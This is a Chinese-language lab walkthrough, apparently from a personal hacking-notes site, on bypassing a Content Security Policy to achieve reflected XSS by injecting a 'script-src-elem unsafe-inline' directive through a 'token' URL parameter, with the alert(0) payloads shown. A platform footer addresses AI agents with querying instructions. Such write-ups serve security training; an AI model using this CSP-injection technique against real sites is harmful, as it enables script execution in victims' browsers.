> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-csp-bypass.md).

# 带 CSP 和绕过技术的 XSS

### 受 CSP 保护且可绕过 CSP 的反射型 XSS

#### 实验描述

由内容安全策略（CSP）保护的跨站反射脚本。目标是执行 `alert()` 通过绕过 CSP。预期的解决方案仅适用于 Chrome。

#### 目标

找出一种巧妙的 XSS 向量，绕过 CSP 并调用 `alert()` 函数。

观察

* 通过注入一个 `<script>` 标签到参数中，该标签会出现在 HTML 中，但 JavaScript 不会运行：/ 注入示例： `'</h1><script>alert(0)</script>` ——该标签可见，但被 CSP 阻止。

```javascript
' </h1><script>alert(0)</script>
```

<figure><img src="/files/62d6a8a6964e59b496a7420292b1a6cc89672a99" alt=""><figcaption></figcaption></figure>

CSP 只允许来自同一域的脚本（`'self'`).

<figure><img src="/files/c8c1f3fd92493356876e4887a9e53be2113934ab" alt=""><figcaption></figcaption></figure>

* CSP 报告表明需要一个令牌（ `令牌` 参数似乎与 CSP 的行为有关）。

<figure><img src="/files/9500eefce5cf6d471d1ef0095143cfdf8db0c96b" alt=""><figcaption></figcaption></figure>

* 通过添加 `&token=test` 到 URL 中，该参数会被应用程序解释。

```
&token=test
```

<figure><img src="/files/d635cf3e8c0131a4a67f6e4ac8dbf97b732803a9" alt=""><figcaption></figcaption></figure>

可以通过 `令牌` 参数直接注入一条 CSP 指令，例如：

```
&token=;script-src-elem 'unsafe-inline'
```

该指令会被考虑在内

<figure><img src="/files/f5416eaafd37fbcf9767a5515c3bd88b92eb0694" alt=""><figcaption></figcaption></figure>

在强制添加 `script-src-elem 'unsafe-inline'`之后，以下注入可实现 JavaScript 执行：

```javascript
<script>alert(0)</script>&token=;script-src-elem 'unsafe-inline'
```

<figure><img src="/files/c8d3f3beca9091bccecba13e95aca5c4149728d5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-csp-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.